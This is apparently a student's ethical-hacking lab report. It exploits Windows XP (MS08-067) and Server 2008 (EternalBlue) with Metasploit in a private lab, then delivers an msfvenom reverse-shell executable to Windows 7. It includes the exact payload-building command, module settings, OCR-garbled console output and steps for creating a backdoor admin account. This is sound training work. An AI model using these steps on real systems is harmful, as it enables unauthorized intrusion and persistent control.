Assignment 4

Ethical Hacking

Lilibeth Rodriguez Sanchez

Task A. Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each) In this task, you need to complete the following steps to exploit SMB vulnerability on Windows XP.

1. Run a port scan against the Windows XP using nmap command to identify open ports and services.

2. Identify the SMB port number (default: 445) and confirm that it is open.

				Zenmap		•	00
Scan Tools Profile	Help				1	(and	
Target: 192.168.10.1	4			Profile: Million Fredr		Scan	Reasonal Constant
Command: nmap -T	4 - A - v 192.168.1	0.14					
Hosts Services	Nmap Output	Ports / Hosts To	pology Host D	etails Scans			
OS Host PfSense.CYSE 102.166.10.14	Port P © 135 tr © 139 tr © 445 tr	rotocol State cp open cp open cp open	Service msrpc netbios-ssn microsoft-ds	Version Microsoft Windows RPC Microsoft Windows netbios-ssn Windows XP microsoft-ds		•	
Filter Hosts							

I am on Zenmap and it demonstrates a successful scan, it shows that the port 445 is open. Windows XP is 192.168.10.14, the Kali system IP is 192.168.10.13. Throughout the lab report I will be referencing to each by their specific IP address.

3. Launch Metasploit Framework and search for the exploit module: ms08_067_netapi

4. Use ms08_067_netapi as the exploit module and set meterpreter reverse_tcp as the payload.

5. Use XXXX (follow the lab instruction) as the listening port number. Configure the rest of the parameters. Display your configurations and exploit the target.



This displays the payload after putting them accordingly , the listening host is 1824 because I am doing this on 10/18/2024.

6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if the exploit is successful.



This is a screenshot of the 192.168.10.14 desktop.

- 7. [Post-exploitation] In meterpreter shell, display the target system's local date and time.
- 8. [Post-exploitation] In meterpreter shell, get the SID of the user.
- 9. [Post-exploitation] In meterpreter shell, get the current process identifier.
- 10. [Post-exploitation] In meterpreter shell, get system information about the target.



This screenshot demonstrates the meterpreter shell after being able to successfully be exploiting the system and being able to access the command prompt from 192.168.10.12 on 192.168.10.14. I used the date command to show the date and time. I also used the getuid command in Meterpreter shell to show the UID of the system, and getpid to get the PID and sysinfo to get the system information.

Task B. Exploit EternalBlue on Windows Server 2008 with Metasploit (20 pt)

In this task, you need to use similar steps to exploit the EternalBlue vulnerability on Windows Server 2008. Make sure to search and replace the exploit module against Windows Server 2008 accordingly.

• Configure your Metasploit accordingly and set XXXX (follow the lab instruction) as the listening port number. Display the configuration and exploit the target. (10 pt)

1. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if the exploit is successful. (2 pt)

	File Edit Vie Id Nane	tw Searc	h Terminal	Help	1		
	0 Windo	ws 7 and	f Server 2	088 RJ	E (864) AS	l Service Packs	
	nits exploit LPORT => 462 nits exploit MHDST => 192 nits exploit LHOST => 192 nits exploit	1 3 1 168.18 168.10				<pre>m) > set LPORT 4423 m) > set AMOST 192.140.10.11 m) > set LMOST 192.140.10.13 m) > show options</pre>	
	Module optio	ins (exp)	loit/windo	ws/set	yma17_818	(eternalblue):	
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	Name RHSSTS RPORT SHEPASS SHEPS VERIFY AR VERIFY TA	CH 11 10 11 14 14 1 1 1 11 11 11 11 11 11 11 11	urrent Set K2 160 10 K3 rue rue	ting 11	Mequired yes no no no yes yes	Description The target address range or CIDM identifier The target port (TCP) (Optional) The Window domain to use for authentication (Optional) The parcase to authenticate as (Optional) The sparsace to authenticate as Check if remote architecture matches exploit Target. Check If remote OS matches exploit Target.	
F	Payload opti	ons twir	ndows/x64/	extern	ireter/res	erse_tcp):	
	Name	Current	t Setting	Requi	ired Desc	ription	
•	EXITFUNC LHOST LPORT	thread 192.160 4623	8.18.13	yes yes	Exit The The	technique (Accepted: ', seh, thread, process, name) Listen address (an interface may be specified) listen port	
	Exploit targ	et:					
	1d Name 0 Windo	ws 7 and	l Server 2	000 M	1 (x64) Al	L Service Packs	
	Halls exploit						

This is metasploit after configuring the exploit as I did before, except this time we are using windows/smb/ms17_010_eternalblue. The listening port is 1824, as it was before, and RHOST is 192.168.10.11, which is Windows Server 2008. For all future references, as with before, we will be referring to it as 192.168.10.11 to mean "the windows server machine."

2. [Post-exploitation] In meterpreter shell, display the target system's local date and time. (2 pt)



This screenshot demonstrates a successful exploit of 192.168.10.11

- 3. [Post-exploitation] In meterpreter shell, get the SID of the user. (2 pt)
- 4. 4. [Post-exploitation] In meterpreter shell, get the current process identifier. (2 pt
- 5. 5. [Post-exploitation] In meterpreter shell, get system information about the target.

(2 pt)		
	Terminal	0.0
File Batt View Search	Terminal Help	
103 108 10, 12 445 102 108 10, 12 445 10 102 108 10, 12 445 10 102 108 10, 13 45 10 102 108 10, 13 45 10 102 108 10, 13 445 107 108 10, 11 445 108 10, 100 10, 11 445 100 108 10, 108	Sending all but last fragment of expluit packet Starting neo-paged pool growing Sonding Sendy Surfers Closing SMMV1 connection creating free hole adjuscent to SMMV2 buffer. Sending last fragment of exploit packet! Mecciling response True soplait packet! ETERMALLE exervite completed Soccessfully (ExcDedBedD) Sending agt to carrying additional buffer. Will be a social for the	p - 4490 (
Process Web created. Charnel 1 created. Microsoft Window (Ver Copyright (c) 2009 Micr CryVindow()system32040 date The current date is: T Enter the new date; (m	sion 8.1.7600) roseft Corporation. All rights reserved. te te m.de.ye/2025 m.de.ye/	
C /WEIndows/LspitesI2+ex will defactoritic - getuid derver uservase WT Am defactoritic - getuid Gorrent pid 1864 extendenter - wind OS - wind Archiletare - A64 System Language - on J Logged On Users - 1 Meterproter - wOAN meterproter - wOAN meterproter - wOAN meterproter - wOAN meterproter - wOAN	IN TRUMEITVLSYSTEM MR2 DNS 2000 M2 (Build 7600). S SADOP Windows	

This is after successfully getting the SID, PID, and sysinfo about 192.168.10.11

Task C. Exploit Windows 7 with a deliverable payload (60 pt). In this task, you need to create an executable payload with the required configurations below. Once your payload is ready, you should upload it to the web server running on Kali Linux and download the payload from Windows 7, then execute it on the target to make a reverse shell (10 pt). Of course, don't forget to configure your Metasploit on Kali Linux before the payload is triggered on the target VM. The requirements for your payload are (10 pt, 5pt each):

- Payload Name: Use your MIDAS ID (for example, pjiang.exe)
- Listening port: XXXX (follow the lab instruction)

[Post-exploitation] Once you have established the reverse shell connection to the target Windows 7, complete the following tasks in your meterpreter shell:



The way that I made my payload was using the command msfvenom -p windows/meterpreter/reverse_TCP LHOST=192.168.10.13 LPORT=4623 -f exe -o dprit002.exe



This after setting up a listener in metasploit framework, listening to port 4623. The <mark>command used to create a web server on port 80</mark>



View from Windows 7 as I download dprit002.exe onto it.



Explanation: After launching the payload on Windows 7, we now have access to the system.

1. Execute the screenshot command to take a screenshot of the target machine if the exploit is successful. (10 pt)

 balaci balaci cachej cachej cachej cachej cachej faradayi faradayi amomel amomel amomel amomel total total	-STREAM AND	
sachdr' config' cmacs d' faraday' farad	.bashrc	
senting" sentaca.d' sentaca.d' secontif se	.cache/	
senset janday/ sconf sconf stone jocal jocal jocal jocal stone	.config/	
Janday' _prome/ _prome/ _prome/ _prove/ _couthority java/ _leshat leshat leshat leshat _acal/ _mozila/ _mozila/ _mozila/ _pki/ pki/	emacs.d/	
_rcomf/ _rcome/ _rcome/ _rcome/ _rcome/ _rcoming/ local/ _rcolla/ _rcolla/ _rcolla/ _rcolla/ _rcolla _	.faraday/	
_mome/ _muse/ _CRawthority java/ _leshts local/ _mozila/	gconf/	
_muge/ _izva/ _izva/ lesshut _izva/ _izva/ _izeshut _izeshu	gnome	
JCEanthoning jaxa/ Jesshat Jocal/ mozilia/ mozilia/ intoxilia/ andd/ spki/ spki/ spki/ smozicentais sambzredentais sambzredentais <tr< td=""><td>_gnupg/</td><td></td></tr<>	_gnupg/	
java/ Jesahat Jecah/ JenoZila/ Jesafat Jecah/ Jecah	JCEauthority	
Jesht Jocal/ mozila/ maf4/ pki/ pki/ selected_cfutor selected_cfutor selected_cfutor subcredentiab ssb/ armentapi/ core core CYSE301/ Destropi/ De	java	
Jacal/ ma&l/ ma&l/ profile madia subcredentials subcrede	Jesshst	
mozilia/ matH/ pbk/ profile rmd subcred_cafator subcred_cafator subcred_cafator subcred_cafator subcred_cafator subcred_cafator core core core CYSE101/ Desktog/ Decuments	local	
nadž' ploži profile nd selected_coltor subcredentab subc	.mozilla/	
jski rotfile rotfile subcredentials sshi xranninfo core CVSE201/ Desktog/ Decuments/ Decumen	.ms ^[5]	
arofile aslested_softer aslest	.pki/	
Ind smbcredentials smbcredentials ssh/ ximinfo core CVSE201/ Desktog/ Documents/	profile	
selected_softer subcredentiabs subcr	.md	
smbcredentials ssh/ xmminfo core Core CYSE301/ Desktop' Documents/ Doc	_selected_editor	
ssk' virminfo verminfo verminf	smbcredentials	
xmmin5 zemmupi cots CVSE201/ Desktopi Documents/	_ssh/	
Jeenmap' core CYSE301/ Documents/ Documents/ dom002.exe mvbbALRA.jpeg mvbbALRA.jpeg Music/ Pestures/ Pestures/ Pestures/ Pestures/ Pestures/ Pestures/	viminfo	
cote CYSE201/ Desktop' Documents' Documents' Music/ gent002.csc gent002.csc gent004.IEA.jpeg Music/ Pactures/ Pactures/ Pactures/ Pactures/ Pactures/ Pactures/	.zenmap	
CYSE201/ Documents/ Documents/ pownloads/ dpm002.exe probleMLRA.jper Music/ Pictures/ Public/ Templetes/ Musics	COLE	
Desktog/ Documents/ Documents/ Documents/ Documents/ Documents/ Documents/ Pactures/ P	CYSE301/	
Documents/ Documents/ dom002.exe swithMLRA/iper Music/ Public/ Templetes/ Micros	Desktop/	
Deventoads' gont002_exe gont004_Exe Music/ Pactures/ Public/ Templetes/ Xideos/	Documents/	
dprinDQ2_exe pwbkMLRA_hipen Music/ Public/ Templates/ Music/	Downloads/	
gwbbMLEA.peg Music/ Pactures/ Public/ Templetes/ Xideos/	dpnt002 exe	
Music/ Pablic/ Templates/ Videost	gwbkMLRA.jpeg	
Pactures/ Public/ Templetes/ Xideos/	Music	
Public/ Emplotes/ Videos/	Pictures/	
Templates/ Videos/	Public	
Videos/	Templates	
	Videos/	

This is a screenshot of the target with the web server still open

2. Create a text file on the attacker Kali named "IMadeIT-YourMIDAS.txt" (replace YourMIDAS with your university MIDAS ID) and put the current timestamp in the file. Upload this file to the target's desktop. Then log in to Windows 7 VM and check if the file exists. You need to show me the command that uploads the file. (10 pt) [Privilege escalation] Background your current session, then gain administrator-level privileges on the remote system (10 pt). After you escalate the privilege, complete the following tasks:

3. Create a malicious account with your name and add this account to the administrator group. You need to complete this step on the Attacker Side. (5 pt)

4. Remote access to the malicious account created in the previous step and browse the files belonging to the user, "Windows 7", in RDP. (5 pt)



This is after uploading the text file and after attempting the next step prematurely. As shown, the file "ImadeIT-dprit002.txt" has been uploaded using the command "upload <file-name> "C:\ Users\Window 7\Desktop"